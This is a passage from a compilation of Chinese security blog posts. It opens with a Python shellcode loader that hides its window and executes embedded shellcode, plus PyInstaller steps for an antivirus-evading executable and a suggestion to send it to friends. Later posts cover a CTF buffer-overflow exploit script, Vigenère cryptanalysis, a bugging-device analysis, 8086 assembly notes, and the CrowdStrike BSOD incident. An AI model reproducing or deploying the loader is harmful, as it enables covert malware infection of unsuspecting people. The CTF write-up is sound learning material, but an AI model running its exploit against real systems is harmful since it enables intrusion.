"\x5c\x55\x9e\xac\xa8\x04\x0b\x50\x7f\x99\x10\x72\x21" buf += "\xf5\x51\x99\xc0\xc2\x25\x5f\x06\x7a\x8a\xa9\x5e\xf4" buf += "\x5b\xe9\x6b\xc8\x50\xc1\xc5\x49\x89\x2a\x3a\x70\x0c" buf += "\xb0\x50\x0d\xa2\xa9\x18\xff\x30\xd9\x19\xdc\xb8\x9a" buf += "\xa1\x3e\x7c\x8f\xe0\x3e\xdf\xc5\x93\x18\x83\x25\x99" buf += "\x10\xab\xa3\x03\x98\xba\x83\x8f\x65\x83\xa2\xbb\x79" buf += "\x2f\xd7\xe1\xb1\xdb\xde\x59\xca\x4f\xa5\xb5\xfd\xa8" buf += "\x22\xdd\xa6\x41\xee\xcd\x8c\xaa\xb6\xf7\x24\xe9\xe0" buf += "\x9a\x0d\x59\x77\x81\x3f\x14\x60\x7e\xdd\x42\xd8\x9e" buf += "\x19\x96\x52\x5b\xca\x91\x28\xc0\x53\x48\x50\x8d\x51" buf += "\xa8\x23\x1b\x37\xdc\xd3\x7d\x8e\xc5\xd3\x2c\x05\xf2" buf += "\x8e\xb7\xf7\x68\xe1\x12\x6c\x9d\x6e\xb4\x98\x7c\x58" buf += "\xfa\xf2\x5f\x89\xd0\x99\xaf\xa5\x52\x6f\x25\xd3\x9b" buf += "\xa7\xa1\xaa\x56\x24\x75\xe3\x5f\x16\x02\x22\x10\xd0" buf += "\xb0\x83\xc4\xf9\xa0\x35\xfd\xce\x5d\x80\xbd\x4b\x43" buf += "\xf2\xf2\x61\x72\xba\xe7\x4a\xd3\xa9\x0e\x83\x3f\xc9" buf += "\x44\x41\x1f\xf2\x01\x28\x60\x5c\x01\xcd\x64\x20\x97" buf += "\xa6\x64\xb4\x3d\x2b\xdb\x78\xf4\xa4\xfd\x39\xb9\x9d" buf += "\x0c\x53\x3b\x08\xb7\x8a\x97\x85\xa5\x10\x4b\xca\x60" buf += "\x51\xca\xb0\x50\xce\xf4\x2e\xbb\x59\xa6\x4b\x29\xe5" buf += "\x19\x90\xe1\x31\xc6\xaa\x6b\xfe\xd3\xdd\xd9\x9c\xf9" buf += "\xae\xfc\x3a\x10\x50\x85\xf4\xc6\xa0\x54\x9d\x76\x1e" buf += "\x95\xad\x4e\x77\x6d\xd6\x75\x2b\x6f\x12\x58\x3f\xde" buf += "\x3a\x72\xd1\x90\x65\xa8\x11\x60\x0e\x22\x60\xeb\x7a" buf += "\xc7\x13\x6f\xaf\x56\x5b\x71\xdc\xa2\x6a\x7d\xfa\x42" buf += "\x90\x82\x01\xd5\x98\x6d" #libc = CDLL('libc.so.6') PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 def executable_code(buffer): buf = c_char_p(buffer) size = len(buffer) addr = libc.valloc(size) addr = c_void_p(addr) if 0 == addr: raise Exception("Failed to allocate memory") memmove(addr, buf, size) if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC): raise Exception("Failed to set protection on buffer") return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: if 666==666: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) print ".................................."*666 memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) print "Code By Luan" shell() 下载pywin32 解压运行,一直点下一步就可以了。 下载pyinstall 解压然后执行:(这里注意路径中不要带中文,Win10貌似需要管理员权限运行) C:\Luan>cd C:\pyinstaller-2.0 C:\pyinstaller-2.0>python PyInstaller.py --console --onefile msf.py 然后就能在C:\pyinstaller-2.0\luan\dist目录下找到luan.exe,免杀。 如果生成不成功,或者生成的exe运行不了等问题,请重新安装环境,确保是32位的环境。 发给朋友测试测试:
  15. 介绍 维吉尼亚密码又译维热纳尔密码: 是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。 维吉尼亚密文是通过明文加上密钥,根据维吉尼亚密码表来生成密文。 就是把每个字母用不同的凯撒加密了一下 明文与密文之间的关系: 假设明文是:ABCDEFG 密钥是AAAA 密文就是:ABCDEFG 密钥是BBB 密文就是:BCDEFGH 密文是QWER 密文就是:QXGUUBK 如果密文比明文短就循环直到和明文一样长进行一一对应的凯撒加密 维吉尼亚的密码强度是跟密钥的长度有关,或者你可以用几个密钥进行加密,如果几个密钥进行加密,那么我们尽量让不同密钥的长度互质,如果明文不长,当密钥长度和明文一样长,理论上是不可破译。然而,实际上很那做到密钥长度和明文长度一样长,因此这就给维吉尼亚密码破译提供了可能。 破解 步骤:1、确定密钥的长度 2、确定密钥的内容 3、根据密钥恢复明文。 1、首先,我们从维吉尼亚密码加密方式可以发现,假如密钥的长度为 k ,那么明文中第 Xi ,Xi+k ,Xi+2*k,……是不是用同一个密码加密,那么不就是凯撒密码吗? 那么问题来了,我们怎么获取到密钥长度是多少呢? 2、Kasiski 实验    为了获取到密钥长度,我们需要进行Kasiski 实验,什么是Kasiski 实验呢? 假如有一段密文: ACEBTSSTRCESQSSTQRCK 那么我们从中挑选出至少三个字符以上相同的字串,并且比较他们相邻两个字串相邻位置之差:比如密文中 “SST”,它们相差了8。 因为在加密过程中,出现至少三个字符以上相同的字串,明文不同的概率是很小的,那么我们是不是可以知道,密钥的长度一定是8的因子。 如果还能找到其他至少三个字符以上相同的字串,那么密钥长度是它们的最大公约数的概率非常大。 到目前为止我们可能已经有好几种密钥长度的可能了,那么怎么来确定密钥长度呢?或者说怎么求出密钥,获取明文呢? 3、重合指数攻击 设一门语言由n个字母组成,每个字母出现的概率为 Pi ,则重合指数是指两个元素随机相同的概率之和,记作 CI =∑ Pi2 (1<= i <= n); 经分析,英文中,一段文字是随机的话,CI =0.0385 ;如果这段文字是有意义的,那么 CI=0.065 (约等)。实际上计算的CI应该用这个公式 L:密文长度; fi :在密文中的出现次数。 (公式来源)   这个有什么好处呢?   好处就是用我们猜测的密钥长度来进行分组,分别计算每组的CI,再求个平均,计算当前密钥长度下,CI 的值与0.065相差多少。然后按照最接近0.065的密钥长度进行排序,为了提高解密的成功率,一般会取前5~10个较为接近的密钥长度作为猜测。 4、字母频率分析   密钥长度知道了,然而怎么获取密钥到底是多少呢? 还是根据统计学:我们可以知道每个字母在英文中的频率   字母表频率   正常的文本中,每个字母出现的频率是遵循上述规则。   那么破解密钥就变得很简单了,我们统计在某个密钥长度下的密各个组的字母频率,这样对单个组来说,就是凯撒密码,我们循环26次,判断哪种情况下字母频率与统计字母频率的内积最大,即 R=∑Pi*Qi (‘a'<= i <=’z’) 。   这样我们对密钥的某个单个字符破解出来了,同理我们可以破解出密钥。 最后从你程序输出的几组结果进行人工判别一下,哪个是有意义的明文。 在线解密 文章转载:古典密码之维吉尼亚密码无密钥破解 – ISGuXing – 博客园 (cnblogs.com)
  16. 最近刚开始学习pwn,来复现一下打完的sictf的一道pwn签到题目 题目 思路 先下载附件,拿到ida里反汇编看一下 其中setup函数是初始化的,我们主要看run函数 大致意思就是定义了一个buf数组和nbyte变量,然后先读入nbytes的值,然后read函数根据nbytes的大小来读入buf数组,其中对nbytes有一个检测,不能超过0x40(64),要不然会直接退出,乍一看这个不会导致栈溢出,但是仔细看if语句 对nbytes有个类型转换,unsigned_int8 是c语言中无符号的8位整数,范围为0-255,如果超过了255则取对256取模的结果作为转换后的结果,而在read函数中传入的是unsigned int,这样我们就可以通过控制nbytes来造成栈溢出,ret跳转到后门函数 后门函数中, 我们无法控制a1的值,再看run函数,read之后会执行strdup函数 在64位汇编中,一般用rax寄存器来保存返回值,所以我们rax寄存器会保存字符串的指针 再看system函数,在调用之前会吧rax寄存器赋值到rdi寄存器,rdi也就是调用函数的第一个参数,这样我们可以把/bin/sh 写入到数组中从而获取shell exp 先本地找一下偏移量 88减去/bin/sh\x00也就是80 python脚本 from pwn import * p=remote("yuanshen.life",40142) backdoor = 0x4011f4 p.recvuntil(b'length: ') p.sendline(b'256') p.recvuntil(b'command: ') payload=b'/bin/sh\x00'+b'a' * 80+p64(backdoor) p.send(payload) p.interactive()
  17. 声明:本篇以案例方式,分享一些RC²反窃密实验室在鉴定取证方面的经验,希望能给大家一些参考思路。 0x01 来自知乎的有趣案例 来自执法部门的需求都不合适直接用来做示例,所以还是拿知乎上的吧。前一阵,知乎上有人邀请杨叔回答:下图所示物件是不是窃听器材? 接下来,简单分析下。 0x02 器材外形分析 关于这个器材,杨叔其实有好多疑问,例如: 图中这是两个主体么?即上方的空塑料小瓶和下方的封装物是一体的? 还是说下方的封装物是塞进上方的塑料瓶里的? 在房间什么位置发现的这个物件? 这个物件发现时的状态是什么样的? 有没有其它角度的照片? 但可惜这不是送检,网上压根无人回答,所以只能做可能性判断。我们先从器材外形分析: 分析一:位于图中下方的封装物 看起来很像是电池,但尺寸上又有些奇怪,很可能是9号电池,或者2节27A电池串联。关于电池的尺寸,可以看看下面几个图,这样会有直观概念。 由于提问者没有提供撕开包装物的图片,所以杨叔只能就图猜测。首先是12V的9号电池,瘦长型的电池,尺寸上比较符合。 疑点:不过若是只有一节9号电池的话,仔细看,在长度上会有个空白,也许封装物一侧是一节9号电池,另一侧有个小的保护电路。 下来是12V的27A电池,可以看到尺寸上OK,但是长度上需要2节才能满足。 当然,还有种可能是使用多个纽扣电池串联,这样就可以节约出更多空间给发射电路板。至于纽扣电池的尺寸,可选择性就更多了,举个例子。 分析二:封装物上方的黑色小器件: 这个两边连接了黑红两条线·的微型黑色器件,看起来确实像是微型拾音器,特别是那种直径4mm厚度2mm的微型咪头。 不过也有点像是微型光敏传感器,或者蜂鸣器(小喇叭),提供几个图作参考。 疑点:这里就有个明显的问题,因为拾音头很少有脱离电路板这么远的设计。而案例中这个疑似拾音头是粘合在封装物表面却没有固定,这样肯定会影响到拾音效果。 所以也有可能并不是拾音头。 0x03 功能/可用性分析 一般而言,无论工作在什么频段,无线窃听器材一定有外置天线。 分析三:是否为无线发射类器材 从图上看,似乎是有一根独立出来的电线,单纯通过这个判断是发射天线就有些武断了。除非有对应的发射电路,但可惜没有办法提供更多检材图片或资料。 可能有人会问,有这么小的信号发射电路么?答案当然是有的,下图就是一个微型无线电信号发射电路实例,再小一点的尺寸也是有的。 疑点:相对于其它无线电窃密器材,这个检材的天线长度算是比较短了,若真是天线,很怀疑实际的功效。 分析四:上方那个透明的塑料管用途 若是下方封装物里已经有发射电路和电池,那上方这个塑料管就比较可疑了。从外形上看来,似乎并不能将封装物塞进塑料管内,在可用空间长度上不一致。 而且用黄色半透明胶布遮住的区域也很可疑,存在有某种触发装置的可能,类似于水银开关、干簧管之类,如下图所示: 疑点:若确认是这类开关,则基本可排除是窃听器材,更像是简易触发报警器。同时也解决了该检材外观上没有开关的疑惑。 0x04 判断与总结 由于不涉及SIM卡取证等环节,作为仅依靠一张图片的鉴定,综上所述,判断如下: 1)这个小物件看起来确实像是无线电窃听器材,但前提是打开封装,确认里面有发射电路,这样才有可能把听到的声音通过无线电传出去。当然,确认有电路就需要测试发射频率、功率等。 注:Mirco SD卡本地存储的可能性就不用考虑了,尺寸上不匹配,压根塞不进去。 2)若没有发射电路,只有电池,且上方塑料管中有某种触发开关。那就是某种触发器材,也许是手工简易报警器,甚至简易激发装置......咳咳,分析到此为止。 .......希望这只是小学生的粗糙手工小制作。 0x05 关于鉴定的注意事项 和标准的电子物证鉴定的定义不太一样,窃听密拍类器材的鉴定相对更麻烦一些,对某些领域的知识也要求较多。 杨叔列出一些基本要求供参考: 对市面各类窃密器材较为熟悉,了解主流的无线/有线器材工作原理、参数、结构等。 对电子元器件有一定熟悉度,要对各类诸如电池、变压器、电容、电阻、开关等零碎知识做好储备、梳理和总结。 对无线电发射模块较为熟悉,能够对拆解的电路进行检测、分析及判断。 对相关材料要有知识储备,比如不同材质胶布、屏蔽涂层等材料的识别与分析。 对无线频谱较为熟悉。能够做信号频谱检测分析。 对主流电子设备均建立鉴定参考标准等。 ......略。 一切必须归纳总结,形成一套鉴定标准、流程和方法论,这也是RC²反窃密技术实验室的成立初衷之一。 ----END-----
  18. 8086用于学习简单的原理(现在几乎都是x86 move和add指令: 汇编指令 行为 高级语言描述 mov ax,18 将18送入AX AX=18 mov ah,78 将78送入AH AH=78 add ax,8 将寄存器AX中的数值加8 AX=AX+8 mov ax,bx 将寄存器BX中的数据送入寄存器AX AX=BX add ax,bx 将AX,BX中的内容相加,结果存在AX中 AX=AX+BX PS:汇编指令不区分大小写 PS:寄存器地位运算溢出时,溢出位不会影响到高位 物理地址 CPU访问内存单元时要给出内存单元的地址 所有内存单元构成的存储空间是一个一维的线性空间 每一个内存单元在这个空间中都有唯一的地址,这个唯一的地址称为物理地址 物理地址=段地址x16+偏移地址 本质含义 用两个16位的地址(段地址,偏移地址),相加得到一个20位的物理地址 CPU在访问内存的时候,用一个基础地址(段地址x16)和一个相对基础地址的偏移地址相加,给出内存单元的物理地址 用分段的方式管理内存 内存并没有分段,段的划分来自于CPU!!! 同一段内存,多种分段方案 假设起始地址(基础地址)为10000H和10080H,段地址为1000H和1008H,大小为80H 一个段最大长度为64K 同一个物理地址可以用不同的段地址和偏移地址 数据在21F60H内存单元中,段地址是2000H,说法: (a)数据存在内存2000:1F60单元中; (b)数据存在内存的2000H段中的1F60H单元中 段地址很重要!–用专门的寄存器存放段地址 4个段寄存器: CS-代码段寄存器 DS-数据段寄存器 SS-栈段寄存器 ES-附加段寄存器 什么是debug? debug是DOS,Windows都提供的实模式(8086方式)程序的调试工具.使用它可以查看CPU各种寄存器的内容,内容的情况和在机器码级跟踪程序的运行 我们用到的debug功能 1. R命令:查看,改变CPU寄存器的内容 2. D命令:查看内存中的内容 d #列出预设地址内存处的128个字节的内容 d 段地址:偏移地址 #列出内存中指定地址处的内容 d 段地址:偏移地址 结尾偏移地址 #列出内存中指定地址范围内的内容 3. E命令:改写内存中的内存 e 段地址:偏移地址 数据1 数据2 ... #从该地址开始写数据 e 段地址:偏移地址 逐个询问式修改 空格 # 接受,继续 回车 # 结束 4. U命令:将内存中的机器指令翻译成汇编指令 汇编指令 mov ax,0123H mov bx,0003H mov ax,bx add ax,bx 对应的机器码 B8 23 01 BB 03 00 89 D8 01 D8 e 地址 数据 #写入 d 地址 #查看 u 地址 查看代码 5. T命令:执行一条机器命令 t #执行CS:IP处的指令 6. A命令:以汇编指令的格式在内存中写入一条机器指令 a 地址 #写入汇编指令 d 地址 #查看数据 u 地址 # 查看代码 7. Q命令:退出debug 两个关键的寄存器 CS:代码段寄存器 IP:指令指针寄存器 CS:IP :CPU将内存中CS:IP指向的内容当作指令执行 8086PC工作过程的简要描述: (1)从CS:IP指向内存单位读取指令,读取的指令进入指令缓存器; (2)IP=IP+所读的指令的长度,从而指向下一条命令 (3)执行指令,转到步骤(1) 修改CS,IP的指令: 转移指令:jmp 同时修改CS,IP的内容: jmp 段地址:偏移地址 仅修改IP的内容:jmp ax (类似于mov IP,ax) 内存中字的存储 事实:对8086CPU,16位作为一个字 16位的字在内存中需要2个连续字节存储,怎么存放? 低位字节存在低位地址单元高位字节存在高位地址单元 例:20000D(4B20H)存放在1,0两个单元,18D(0012H)存放在2,3两个单元 20H 4EH 12H 00H 0-> CPU要读取一个内存单元的时候,必须先给出这个内存单元的地址; 用DS寄存器放要访问的数据的段地址 偏移地址用[…]形式直接给出 用mov指令操作数据:(add加法,sub减法类似) 指令形式 例示 mov寄存器,数据 mov ax,8 mov寄存器,寄存器 mov ax,bx mov寄存器,内存单元 mov ax,[0] mov内存单元,寄存器 mov[0],ax mov段寄存器,寄存器 mov ds,ax 大胆地假设,小心地求证 –胡适 栈结构: 栈是一种只能在一端进行插入或删除操作的数据结构. 入栈:将一个新的元素放到栈顶; 出栈:从栈顶取出一个元素 8086中栈的指令: push入栈和pop出栈 push ax:将ax中的数据送入栈中 pop ax:从栈顶取出数据送入ax(以字为单位对栈进行操作) 在8086中有两个与栈相关的寄存器: 栈段寄存器SS 存放栈顶的段地址 栈顶指针寄存器SP 存放栈顶的偏移地址 任意时刻,SS:SP指向栈顶元素 编程时,可以根据需要将一组内存单元定义一个段 可以将起始地址为16的倍数,长度N(N<64K)的一组地址连续的内存单元,定义为一个段. 数据段:DS 代码段:CS:IP 栈段:SS:SP 程序中的三种指令 assume cs:codesg codesg segment mov ax,0123H mov bx,0456H add ax,bx add ax,ax mov ax,4c00h int 21h codesg ends end 段定义: 一个汇编程序是由多个段组成的,这些段被用来存放代码,数据,或当作栈空间来使用 一个有意义的汇编程序中至少要有一个段,这个段用来存放代码 定义程序中的段:每个段都需要有段名 段名 segment –段的开始 段名 ends –段的结束 end(不是ends): 汇编程序的结束标记,若程序结尾处不加end,编译器在编译时无法知道在何处结束 assume(假设): 假设某一字段寄存器和程序中的某一个用segment..ends定义的段相关联 ; 注释 .asm->masm命令->.obj->link->.exe 再约定:符号idata表示常量 loop和[bx]联手读取连续的内存: 这个程序还是有问题的 在代码段中使用栈:i数据逆序存放 栈需要内存空间,在程序中通过,定义’空’数据来取得. 处理字符问题: 汇编程序中,用’……’的方式指明数据是以字符的形式给出的,编译器将他们转化为相对应的ASCII码 [bx+idata]的寻址方式: [bx+idata]表示一个内存单元,他的偏移地址为(bx)+idata(bx中的数值加上idata). mov ax,[bx+200]/mov ax,[200+bx]的含义 将一个内存单元的内容送入ax 这个内存单元的长度为2字节(字单元),存放一个字 内存单元的段地址在ds中,偏移地址为200加上bx中的数值 指令mov ax,[bx+200]的其他写法(常用) mov ax,[200+bx] mov ax,200[bx] mov ax,[bx].200 SI和DI寄存器: 目前所学的寻址方式: 8086CPU有14个寄存器: 通用寄存器:AX,BX,CX,DX 变址寄存器:SI,DI 指针寄存器:SP,BP 指令指针寄存器:IP 段寄存器:SCS,SS,DS,ES 标志寄存器:PSW 在哪里?有多长? div除法指令 dup的功能和用法 转移综述 用操作符offset取得标号的偏移地址 jmp指令 call指令和ret指令 标识寄存器 带进位的加减法 cmp和条件转移指令 DF标志和串传送指令 位移指令 操作显存数据 描述内存单元的标号 数据的直接定址表 直接定址表:利用表,再两个数据集合之间建立一种映射关系,用查表的方式根据给出的数据,得到其在另一一个集合中的数据. 优点:算法清晰和简介,加快运算速度,使程序易于扩充 代码的直接定址表 中断及其处理 编制中断处理程序 单步中断 由int引发的中断 BIOS和DOS中断处理 端口的读写 操作CMOS RAM芯片 外设连接与中断 PC键盘的处理过程 定制键盘的输入处理 改写中断例程的方法 用中断相应外设 字符串的输入输出 磁盘读写 完结撒花!!! 观看课程
  19. 0x01 事件背景 2024年7月19日下午2点左右,大量外资企业和机构的Windows 机器出现蓝屏死机(BSOD)问题,受影响的机器会自动蓝屏,并且无法通过重启解决问题。 在短时间内全球多地爆出蓝屏导致的业务无法正常开展的事件,其中不乏包括国外知名的机构和单位,包括: 美国达美航空、联合航空和美国航空在内的多家美国主要航空公司的所有航班受蓝屏事件影响宣布当天上午停飞。 Microsoft 365订阅服务对于部分用户而言已无法使用,其状态页面警告称客户可能无法访问SharePoint Online、OneDrive for Business、Teams、Intune、PowerBI、Microsoft Fabric、Microsoft Defender和Viva Engage。 英国伦敦证券交易所宣布受蓝屏事件影响暂停交易。 日本轨道交通公司宣布受蓝屏事件影响无法查看列车的实时运行情况,不得已取消多条线路。 澳大利亚亚航空公司、银行、政府网络、企业、超市自动收银机等受到影响。 印度靛蓝航空、阿卡萨航空和香料航空在内的多家航空公司受蓝屏事件影响停飞,航班运营因此中断。 新加坡樟宜机场受蓝屏事件影响无法正常运营。 中国上海多家外企受到影响,环球影城和迪士尼受影响无法正常结算 本次事件主要影响的是国外机构与国内外资企业,有趣的是国内个人终端用户偏爱的盗版windows系统以及裸奔的安全防护反而使其逃过了一劫。在极短的时间内,微软蓝屏事件冲上微博热搜榜第一。此次事件的影响范围之广堪称旷古绝今,必将在互联网历史上留下深刻的痕迹。 PS:很难想象当今社会能有某个网络安全事件能盖过娱乐新闻霸榜热搜。 0x02 事件原因 针对此事,微软发言人最新回应称,Windows设备出现问题是第三方软件平台更新造成的,并且已经为此事件推出对应的解决方案。这次大规模的Windows10蓝屏死机故障原因在于安全软件公司Crowdstrike,其Falcon Sensor安全产品的更新导致了Windows电脑蓝屏现象。该公司是位于美国加利福尼亚州森尼韦尔的电脑安全技术公司,提供端点安全、情报威胁和网络攻击的安全服务。 19日下午17时45分,CrowdStrike创始人兼CEO George Kurtz在社交媒体X上回应称:CrowdStrike正积极与受Windows主机单次内容更新中发现缺陷影响的客户合作。Mac和Linux主机不受影响。这不是安全事件或网络攻击,同时微软方面坚决否认此次蓝屏事件与俄罗斯军事方面有关系。 从事件的原因也不难看出为什么这次国内的主机几乎没有受影响,其本质原因在于国内单位几乎没有使用Crowdstrike公司的安全产品,从而幸运的免于受此事件影响。 0x03 思考 与历史上出现的蓝屏事件不同,此次蓝屏事件本质上不是由于网络攻击造成的,实质上是由于软件公司对所提供的产品更新异常导致。但是从中也可以看出Windows操作系统在当前世界互联网中所占有的举足轻重的地位。 从DayDayMap全球互联网资产测绘平台(www.daydaymap.com)的数据中可以看出,互联网范围内主流的操作系统还是以windows和linux为主,其中Windows具有较大的用户使用量。 在使用Windows操作系统的国家中,中国的用户使用数量较多,中国基于Windows机器的资产基本上占了实际总资产数的接近60%。 从上面的数据可以看出,如果某个Windows操作系统层面的漏洞被别有用心的攻击者控制,将对国家安全造成严重的安全隐患。当前中美关系紧张,如果由美国控制的微软公司在Windows操作系统的升级程序中植入恶意程序,一方面可以窃取大量国内单位的敏感信息,另一方面也可以对关基设施进行毁瘫,其造成的安全隐患会非常巨大,对供应链安全来说也提出了新的挑战。 本次微软蓝屏事件虽然不是由网络攻击造成的,但是Windows操作系统潜在的破坏性仍然值得相关单位警惕。我们很难保证在特殊时刻美国不会把Windows作为攻击我国的武器,对我国敏感设施进行网络攻击。由此可见,国家发展具有国家自主知识产权的信创产品(包括国产化操作系统、数据库、中间件等)是具有长远战略意义的。 0x04 修复 CrowdStrike官方的解决方案是删除该公司驱动程序,最终使得驱动程序失效。具体操作为,建议受影响的用户将电脑启动到安全模式或恢复环境,导航至C:\Windows\System32\drivers\CrowdStrike目录,找到与“C-00000291*.sys”匹配的文件并将其删除,即可正常启动电脑。 原文链接
  20. 1 事件的基本情况和影响 北京时间2024年7月19日中午开始,全球多地用户在X(原推特)、脸书、微博等社交平台反映使用微软系统的电脑出现蓝屏现象,至少20多个国家的交通、金融、医疗、零售等行业或公共服务的业务系统受到影响。其原因是使用CrowdStrike公司终端安全产品的Windows操作系统的主机大面积发生系统崩溃故障,即“蓝屏死机”(Blue Screen of Death,BSOD),导致计算机系统无法正常运行。出现故障的终端并不止限于桌面终端,而是覆盖了大量的服务器和云节点,包括导致了多个重要的微软和AWS的云服务和租户服务中断。而且相关主机重新启动后依然会自动进入蓝屏状态,形成了反复崩溃闭环。此事件是今年以来全球波及范围最广的信息系统灾难性事件,也是由安全产品自身导致的最大规模的安全灾难事件,其事件带来的后果影响远远超过了2007年的赛门铁克误杀中文版Windows导致系统蓝屏事件等历史上由安全产品带来的安全事件。 北京时间7月19日19时,安天由云安全中心、安全研究与应急处理中心、攻防实验室人员组成混合分析小组,进行了跟进分析,及时将分析研判进展上报管理和应急部门,开发了CrowdStrike_Crash_Fix应急处理小工具,协助求助用户处理威胁,并发布了本分析报告。 CrowdStrike是美国主要的云、终端安全厂商之一,成立于2011年,2024年6月其市值一度接近千亿美元,是全球市值最大的网络安全上市公司之一。其开发的云本地端点保护平台CrowdStrike Falcon,开启了多租户、云原生、智能安全解决方案的先河,结合了下一代杀毒软件、威胁情报、端点检测和响应(EDR)、设备控制、威胁情报搜索和IT安全运营、事件响应和主动服务。平台设置了独立模块用于管理系统漏洞和移动终端检测和响应,还通过跨越多个大型安全市场的SaaS模型提供19个云模块,包括企业端点安全、云安全、托管安全服务、安全和IT运营、威胁情报、身份保护和日志管理等。 就本次事件,CrowdStrike给出的解释是,该公司的终端安全软件“Falcon Sensor”推送的错误的配置更新与Windows系统发生了兼容性问题,导致安装了该安全软件的计算机出现蓝屏情况。后续该公司代表在其客户支持平台回复称公司工程部已确定该问题与其产品的“内容部署(Content deployment)”功能有关,目前已经撤销了错误更新,并在积极调查此事。 这是一起因广泛使用的安全产品故障,导致大量主机系统崩溃,并连带导致大量基础设施系统无法提供服务导致了多米诺效应的事件。该事件造成了美国、英国、澳大利亚、加拿大、日本等至少20多个国家和地区的组织机构的业务系统服务中断,全球多地的航空运输、医疗服务、媒体、银行与金融服务、零售、餐饮等行业或公共服务受到了影响。 表 1‑1 受到影响的行业领域、国家地区与相关机构 涉及领域 相关机构 航空运输 美国、澳大利亚、英国、荷兰、印度、捷克、匈牙利、西班牙、中国香港、瑞士等部分航空公司出现航班延误或机场服务中断。美国达美航空、美国航空和忠实航空宣布停飞所有航班。 媒体通信 以色列邮政、法国电视频道TF1、TFX、LCI和Canal+ Group网络、爱尔兰国家广播公司RTÉ、加拿大广播公司、沃丰达集团、电话和互联网服务提供商Bouygues Telecom等。 交通运输 澳大利亚货运列车运营商Aurizon、西日本旅客铁道公司、马来西亚铁路运营商KTMB、英国铁路公司、澳大利亚猎人线和南部高地线的区域列车等。 银行与金融服务 加拿大皇家银行、加拿大道明银行、印度储备银行、印度国家银行、新加坡星展银行、巴西布拉德斯科银行、西太平洋银行、澳新银行、联邦银行、本迪戈银行等。 零售 德国连锁超市Tegut、部分麦当劳和星巴克、迪克体育用品公司、英国杂货连锁店Waitrose、新西兰的Foodstuffs和Woolworths超市等。 医疗服务 纪念斯隆凯特琳癌症中心、英国国家医疗服务体系、德国吕贝克和基尔的两家医院、北美部分医院等。 …… …… 主要受到影响的领域,更多详情见 附录二:受到影响的组织机构清单。 本次事件对国内政企机构影响较小,主要由于CrowdStrike是对中国大陆禁售产品,国内主要相关外资企业和部分使用微软数据中心的企业部分受到此次故障影响了相关业务。如国内希尔顿酒店集团旗下的上海康莱德酒店,其入住和退房服务受到了影响。 当然,这也给小组的分析工作造成了障碍。 2 应急解决方案 2.1 手动删除带有问题的文件(原厂方案) CrowdStrike公司的业务支撑体系是高度在线化的,其在仅由注册客户可见的网页发布了解决方案,非其客户无法访问,但有受影响的用户公开分享了该官方解决方案: 1.将Windows重启至安全模式或恢复模式,或用WinPE启动; 2.打开“%systemroot% \System32\drivers\CrowdStrike”文件夹; 3.删除其中文件名为“C-00000291*.sys”(*表示任意字符)的文件; 4.正常重启系统。 以下为更完整的事件说明及解决方案,对于公有云等类似环境的用户可通过下图中“备份并挂载磁盘到临时虚拟系统”的方法对错误文件进行处理。 同时,对于使用了BitLocker卷加密的用户,需要准备好恢复密钥,再进入安全模式进行操作。 图 2‑1事件说明及解决方案 2.2 小工具CrowdStrike_Crash_Fix(安天发布) 安天CERT在7月19日晚发布了临时处置小工具CrowdStrike_Crash_Fix,已经上传至安天垂直响应平台(https://vs2.antiy.cn/)。可将Windows重启至安全模式或恢复模式后,使用该工具一键处理异常文件。根据受影响用户的反馈,该工具可以显著节省处置所需时间。(当前工具更新至V0.5版本,已经支持基于WinPE介质启动后的处置)。 图 2‑2安天临时处置工具CrowdStrike_Crash_Fix 3 事件的技术分析 3.1 CrowdStrike 的工作机理解析 CrowdStrike Falcon Sensor 是非常典型的具有内核(驱动)级主防的EDR产品,其在Windows平台下安装/预装后,将对应程序文件安装到%ProgramFiles% \CrowdStrike指向的目录下,而将其驱动程序和重要的数据文件安装到%SystemRoot%\System32\ drivers\CrowdStrike 目录下。其主要的防御能力来自于多个系统内核驱动模块。其中CSBoot.sys是Windows 操作系统的提前启动反恶意软件(ELAM)功能模块(利用微软接口实现安全软件要比恶意代码先行加载以保证引导链安全的机制);CSFirmwareAnalysis.sys是固件安全模块;CSAgent.sys是主防护的核心功能模块;cspcm4.sys为策略解析模块。加载的先后顺序依次为CSBoot.sys、CSFirmwareAnalysis.sys、CSDeviceControl.sys、CSAgent.sys、cspcm4.sys。 表 3‑1 CrowdStrike的主要程序和驱动模块列表 分类 文件名 描述 应用程序 CSFalconService.exe 主要的服务进程 CSFalconController.exe 后台控制程序 CSFirmwareAnalysisSupportTool.exe 固件分析工具 CSDeviceControlSupportTool.exe 外部设备管控 驱动和内核模块 CSBoot.sys 操作系统的早期启动反恶意软件(ELAM)功能模块,用于保护驱动程序加载 csfirmwareanaltsis.sys 固件安全模块 cspcm4.sys 内核注册回调接口模块,为CSAgent.sys提供回调接口 Config.sys 管理策略配置的模块 CSAgent.sys 主要的功能模块,它包含文件过滤、网络过滤、进程管控 CSDeviceControl.sys USB设备过滤驱动 